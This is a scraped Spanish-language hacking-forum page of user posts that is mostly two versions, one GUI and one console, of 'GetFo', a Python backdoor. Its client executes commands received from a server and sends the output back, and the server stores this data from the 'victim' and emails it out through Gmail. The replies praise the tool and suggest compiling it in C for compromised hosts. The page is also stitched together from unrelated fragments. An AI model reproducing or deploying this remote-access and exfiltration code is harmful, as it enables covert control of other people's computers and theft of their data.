Justo a tiempo me vengo a encontrar este PDF. xD
Gracias por tu aporte [T]hanatos!
Saludos!
Gracias por tu aporte [T]hanatos!
Saludos!

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
se ve bien, estoy dejando cargar el video
pero mi pregunta es
¿Es correcto usar el termino "hackear un candado"?

Citar"El término cracker (del inglés cracker, y este de to crack, 'romper', 'quebrar') se utiliza para referirse a las personas que "rompen" algún sistema de seguridad."




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!
Saludos y sigue así!
ANTRAX

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Excelente Barlan! Te ha quedado muy bien!
Muchas gracias por compartír! Seguí así!
+1
Saludos!
WhiZ

)
from tkinter import *
from tkinter.messagebox import showinfo, showerror, askquestion
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os, sys, smtplib, socket, threading
class GUI(Tk):
'''La ventana principal, main menu.'''
def __init__(self):
Tk.__init__(self)
self.wm_iconbitmap('icono.ico')
self.title("GetFo | A socket, a victim")
self.resizable(0,0)
self.config(bg="black")
topimg = PhotoImage(file="mainimage.gif")
t = Label(self, image=topimg, bg="black")
t.image = topimg
t.grid(row =0, column=0, padx=5,pady=5)
Button(self, text="Start Server", command=self.toget, bg="black", fg="green", activeforeground="green", activebackground="black").grid(row=1, column=0, sticky=NSEW)
Button(self, text="Send info", command=self.toemail, bg="black", fg="green").grid(row=2, column=0, sticky=NSEW)
Button(self, text="Exit", command=self.quit, bg="black", fg="red").grid(row=3, column=0, sticky=NSEW)
Label(self, text="Coded by Barlan | April 26, 2015", bg="black", fg="white").grid(row=4, column=0)
'''Estas funciones "ocultan" la ventana principal, y nos muestran alguna de las otras 2 opciones.'''
def toget(self):
self.withdraw()
Get()
def toemail(self):
self.withdraw()
Email()
class Get(threading.Thread):
'''Este es el servidor.
Se asigna un socket, y espera una conexión. Al conectarse un cliente, inicia el envio de comandos.'''
def __init__(self):
threading.Thread.__init__(self)
try:
self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socksv.bind(("127.0.0.1", 10327))
showinfo("Info", "Server now listening on 127.0.0.1:10327")
except socket.error as e:
showerror("Sorry!", str(e))
self.socksv.close()
sys.exit(1)
self.root = Toplevel()
self.root.wm_iconbitmap('icono.ico')
self.root.resizable(0,0)
self.root.title("GetFo | Server")
self.root.config(bg="black")
topimg = PhotoImage(file="mainserver.gif")
t = Label(self.root, image=topimg, bg="black")
t.image = topimg
t.grid(row=0, column=0)
self.start()
def run(self):
'''start() comienza la ejecución del servidor
Muestra un mensaje de espera, y procede a esperar una conexión entrante.
'''
ac = Label(self.root, text="Awaiting connection...", bg="black", fg="white").grid(row=1, column=0)
self.socksv.listen(2)
self.sc, self.addr = self.socksv.accept()
ac = Label(self.root, text="%s is now awaiting commands!" % str(self.addr), bg="black", fg="white").grid(row=1, column=0)
self.cmds()
def cmds(self):
'''Aquí el usuario intruduce el comando a ejecutar en el cliente.'''
vc = StringVar()
f = Frame(self.root, bg="black")
f.grid(row=2,column=0)
c = Label(f, text="Command>", bg="black", fg="white").grid(row=0, column=0, sticky=NSEW)
self.cmd = Entry(f, textvariable=vc, width = 40)
self.cmd.grid(row=0, column=1)
Button(self.root, text="Send!", command=self.send_cmd, bg="black", fg="green").grid(row=3, column=0, sticky=NSEW)
Button(self.root, text="Exit", command=self.ask, bg="black", fg="red").grid(row=4, column=0, sticky=NSEW)
def ask(self):
aq = askquestion("Wait!", "Do you want to send the results via email?", icon='info')
if aq == "yes":
self.email()
elif "no":
self.exit_s()
def send_cmd(self):
'''Obtenemos el comando escrito, y lo enviamos al cliente.'''
to_cmd = self.cmd.get()
if to_cmd == "exit":
self.sc.send(to_cmd.encode("utf-8"))
self.sc.close()
self.socksv.close()
exit()
self.sc.send(to_cmd.encode("utf-8"))
self.recv_ans()
def recv_ans(self):
'''Después de que el cliente ejecuta el comando, recibimos los datos resultantes, y los guardamos en "data.txt"'''
rec = self.sc.recv(2048)
txt = rec.decode("utf-8")
if os.path.exists("data.txt"):
with open("data.txt", "a") as f:
f.write(txt + "\n\n")
else:
with open("data.txt", "w") as f:
f.write(txt + "\n\n")
showinfo("Success!", "Data received and saved on 'data.txt'")
self.cmds()
def exit_s(self):
self.sc.send("exit".encode("utf-8"))
self.sc.close()
self.socksv.close()
exit()
def email(self):
self.root.withdraw()
Email()
class Email():
'''Email() nos brinda una ventana hija con los campos necesarios para el logueo en el servicio de Gmail.'''
def __init__(self):
try:
self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
except Exception as e:
showerror("Fatal Error", str(e))
exit()
self.GW = Toplevel()
self.GW.wm_iconbitmap('icono.ico')
self.GW.resizable(0,0)
self.GW.title("GetFo | Gmail Loggin")
self.GW.config(bg="black")
topim = PhotoImage(file="header-gmail.gif")
r = Label(self.GW, image=topim, bg="black")
r.image = topim
r.pack()
me = StringVar()
mp = StringVar()
Frame_User = Frame(self.GW, bg="black")
Frame_User.pack()
Label(Frame_User, text="Your Gmail account:", bg="black", fg="green").pack(side=LEFT)
self.my_email = Entry(Frame_User, textvariable=me, width = 25)
self.my_email.pack(side=RIGHT)
Frame_Pass = Frame(self.GW, bg="black")
Frame_Pass.pack()
Label(Frame_Pass, text="Your Password:", bg="black", fg="green").pack(side=LEFT)
self.my_passw = Entry(Frame_Pass, textvariable=mp, show="*", width = 25)
self.my_passw.pack(side=RIGHT)
self.email_button = Button(self.GW, text="Enter", command=self.login_gmail, bg="black", fg="green")
self.email_button.pack(fill=X)
salir = Button(self.GW, text="Exit", command=self.GW.quit, bg="black", fg="red")
salir.pack(fill=X)
def login_gmail(self):
'''login_gmail() recibe nuestros datos, e intenta loguearnos'''
account = self.my_email.get()
self.password = self.my_passw.get()
self.gmail.ehlo()
self.gmail.starttls()
try:
self.gmail.login(account, self.password)
showinfo("Success", "You are now logged in Gmail.")
except:
showerror("Error", "Unable to login into %s." % account)
exit()
gmail = self.gmail
newEmail(gmail, account)
self.GW.withdraw()
class newEmail(Email):
''' Despues de loguearnos, procedemos a crear el email junto con el archivo (datos recolectados) ajuntados.'''
def __init__(self, gmail, account):
ne = Toplevel()
ne.wm_iconbitmap('icono.ico')
ne.resizable(0,0)
ne.title("GetFo | New Email")
ne.config(bg="black")
self.gmail = gmail
self.email = account
topim = PhotoImage(file="sending_info.gif")
r = Label(ne, image=topim, bg="black")
r.image = topim
r.grid()
et = StringVar()
es = StringVar()
LE = Frame(ne, bg="black")
LE.grid(row=1, column=0)
Label(LE, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, columnspan=2, sticky=NSEW)
Label(LE, text="Attachment: 'data.txt'", bg="black", fg="orange").grid(row=1, column=0, columnspan=2, sticky=NSEW)
Label(LE, text="To:", bg="black", fg="green").grid(row = 2, column = 0, columnspan=2, sticky=W)
self.email_to = Entry(LE, textvariable=et, width = 35)
self.email_to.grid(row = 2, column = 1, sticky=E)
Label(LE, text="Subject:", bg="black", fg="green").grid(row = 3, column = 0, columnspan=2, sticky=W)
self.email_subject = Entry(LE, textvariable=es, width = 35)
self.email_subject.grid(row = 3, column = 1, sticky=E)
Label(LE, text="Your Message:", bg="black", fg="green").grid(row = 4, column = 0, sticky=W)
self.email_msg = Text(LE, width = 35, height = 5)
self.email_msg.grid(row = 4, column = 1, sticky=E)
self.email_button = Button(ne, text="Send", command=self.sendEmail, bg="black", fg="green")
self.email_button.grid(row = 2, column = 0, sticky=NSEW)
salir = Button(ne, text="Exit", command=ne.quit, bg="black", fg="red")
salir.grid(row = 3, column = 0, sticky=NSEW)
def sendEmail(self):
'''Se obtienen los datos de los campos.'''
self.to = self.email_to.get()
self.subject = self.email_subject.get()
self.msg = self.email_msg.get("1.0", END)
# Ahora añadiremos el archivo al cuerpo del mensaje
msg = MIMEMultipart('alternative')
msg['Subject'] = self.subject
msg['From'] = self.email
body = self.msg
filename = "data.txt"
r = open(filename)
att = MIMEText(r.read())
att.add_header("Content-Disposition", "attachment", filename = filename)
msg.attach(att)
content = MIMEText(body, 'plain')
msg.attach(content)
try:
self.gmail.sendmail(self.email, self.to, msg.as_string())
showinfo("Completed","Email sent successfully to %s" % self.to)
exit()
except Exception as e:
showerror("Error", str(e))
exit()
GUI().mainloop()
import socket, os
class cCMD():
def start(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(("127.0.0.1", 10327))
print("[!+] Connection established!")
except:
print("[-] Can't establish a connection to server.")
exit()
while True:
print("\n[...] Awaiting commands...")
re = sock.recv(1024)
cmd = re.decode("utf-8")
if cmd == "exit":
print("\n[...] Exiting")
exit()
text = os.popen(cmd)
data = str(text.read())
sock.send(data.encode("utf-8"))
print("[+] Data sent succesfully.")
if __name__ == "__main__":
cCMD().start()






You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola Barlan! Muchas gracias por compartir tus trabajos!
El año pasado, mas o menos a esta altura del año, desarrollé con Python un buen RAT para consola, totalmente estable y 100% efectivo. Lo estuve testeando y todo. La verdad que funcionaba muy bien. El único problema que tenía es que no permitía el control simultáneo de varios hosts remotos. De todas formas, tampoco era ésa la idea, ya que la finalidad de ése proyecto era lograr una fuerte estabilidad en lo que respecta a sockets y ejecución de comandos de manera remota. A partir de éso, se podría crear algo con una interfaz gráfica amigable, más completo (también tenía algunos módulos desarrollados para éso) y con control simultáneo de hosts remotos.
Cumplí mi objetivo con ese RAT pero, por cuestiones de tiempo, no he podido completar el desarrollo del mismo.
Bueno, me fui por las ramas xD... Te felicito por tu código y te dejo +1.
Espero seguir viendo aportes de este tipo!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy bueno, pero hacerlo en python no me parece del todo una buena idea para una backdoor.
¿No sería mejor compilarlo en C para hacerlo multiplataforma? Sería una pena no poder utilizarlo porque el host comprometido no utilice el intérprete de Python...
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy bueno Barlan!
Te dejo +Puntos!
Saludos!
ANTRAX

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
En verdad un trabajo excelente Barlan! Muy bueno, me gusto mucho! Fijate de hacer la interfaz grafica y ver que tal va el proyecto!!! Cualquier cosa pega el grito, que mas de uno te va a dar una mano por acá!


import socket, os
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
#////////////////////////////////////////////////////////////////////////////////////////////////////////////#
class Get():
'''
Get() crea el servidor, y apartír de ahi espera una conexión entrante (la victima).
Lo siguiente es enviar un comando, y esperar los datos de regreso.
Despues, elegimos la opción de si guardarlo en la PC, o enviarlo via correo electrónico.
'''
def __init__(self):
self.i = True
def menu(self):
os.system("cls")
print("""
#================================#
# getfo.py
# One client, one victim.
#================================#
1) Start server.
2) Send info.
3) Exit.""")
e = int(input(">> "))
if e == 1: self.start()
elif e == 2: self.for_mail()
elif e == 3:
self.i = False
exit_cmd()
def start(self):
'''start() comienza la ejecución del servidor
Imprime un mensaje de exito y procede a esperar una conexión entrante.
'''
self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socksv.bind(("127.0.0.1", 10232))
self.socksv.listen(2)
print("\n[+] Server now listening on 127.0.0.1:10232\n")
self.sc, self.addr = self.socksv.accept()
print("[+] %s is now online." % str(self.addr))
self.send_cmd()
def send_cmd(self):
'''send_cmd(), sus funciones son:
1) Enviar comandos y recibir los resultados
2) Guardar los datos en un archivo de texto.
En caso de elegir enviarlos por correo electrónico, se procede a ello pasando a la clase send_Results().
'''
cmd = str(input("Command? (""exit"" to close)>> "))
if cmd == "exit":
self.sc.close()
self.socksv()
exit_cmd()
self.sc.send(cmd.encode("utf-8"))
print("[!...] Awaiting....")
resp = self.sc.recv(2048)
if os.path.exists("data_info.txt"):
with open("data_info.txt", "a") as f:
f.write(str(resp.decode("utf-8") + "\n\n"))
else:
with open("data_info.txt", "w") as f:
f.write(str(resp.decode("utf-8") + "\n\n"))
print("[+] Data received and saved on 'data_info.txt'")
a = str(input("\n[?] Want to send another command? (y/n) ")).lower()
if a == "y":
self.send_cmd()
elif a == "n":
g = str(input("[?!] Do you want to send the info via email? (y/n): ")).lower()
if g == "y":
self.for_mail()
elif g == "n":
exit_cmd()
def for_mail(self):
if os.path.exists("data_info.txt"):
my_e = str(input("\n[?] Your gmail account: "))
passw = str(input("[?] Your password: "))
if self.i == True:
b = Email(my_e, passw)
b.login()
else:
self.menu()
else:
print("[!] File: data_info.txt doesn't exist.\nPress any key to return to the main menu....")
self.sc.close()
self.socksv()
self.menu()
#////////////////////////////////////////////////////////////////////////////////////////////////////////////#
class Email():
''' Email() es el encargado de enviar el fichero por Gmail.
Son recibidas 2 variables: tu correo, y tu contraseña.
Se inicia sesión, y se procede a definir el email que recibirá el fichero.
'''
def __init__(self, my_e, passw):
self.gmail = smtplib.SMTP('smtp.gmail.com', 587)
self.mail = my_e
self.passw = passw
def login(self):
'''login() se encarga de hacer conexión al servidor de Gmail, e inicia sesión con nuestros datos.'''
self.gmail.ehlo()
self.gmail.starttls()
try:
self.gmail.login(self.mail, self.passw)
self.send_message()
except Exception as e:
print("[-] Error: " + str(e) + "\n\nPress any key to return to exit....")
input()
exit_cmd()
def send_message(self):
'''send_message() se encarga de definir el destino del correo,
y además adjunta el archivo con los datos recopilados.'''
e_to = str(input("\n[?] To address: "))
msg = MIMEMultipart('alternative')
msg['Subject'] = 'Information for you'
msg['From'] = self.mail
body = 'I recopiled this information from a victim.'
filename = "data_info.txt"
r = open(filename)
att = MIMEText(r.read())
att.add_header("Content-Disposition", "attachment", filename = filename)
msg.attach(att)
content = MIMEText(body, 'plain')
msg.attach(content)
print("[!] Sending email to %s..." % e_to)
try:
self.gmail.sendmail(self.mail, e_to, msg.as_string())
except Exception as e:
print("[-] Error: " + str(e) + "\n\nPress any key to return to the main menu....")
input()
a = Get()
a.menu()
print("[+] Data sent successfully.")
#////////////////////////////////////////////////////////////////////////////////////////////////////////////#
def exit_cmd():
'''El mensaje de adios'''
print("\nExiting... ")
copyright()
def copyright():
'''Creditos'''
print("(C) Barlan. | April 21, 2015\n")
if __name__ == "__main__":
Get().menu()
import socket, os
class cCMD():
def start(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(("127.0.0.1", 10232))
print("[!+] Connection established!")
except:
print("[-] Can't establish a connection to server.")
exit()
while True:
print("\n[...] Awaiting commands...")
re = sock.recv(1024)
if not re:
print("\n[...] Exiting")
exit()
cmd = re.decode("utf-8")
print("[!] Executing command...")
text = os.popen(cmd)
data = str(text.read())
sock.send(data.encode("utf-8"))
print("[+] Data sent succesfully.")
if __name__ == "__main__":
cCMD().start()



)
), no sé, ustedes digan.



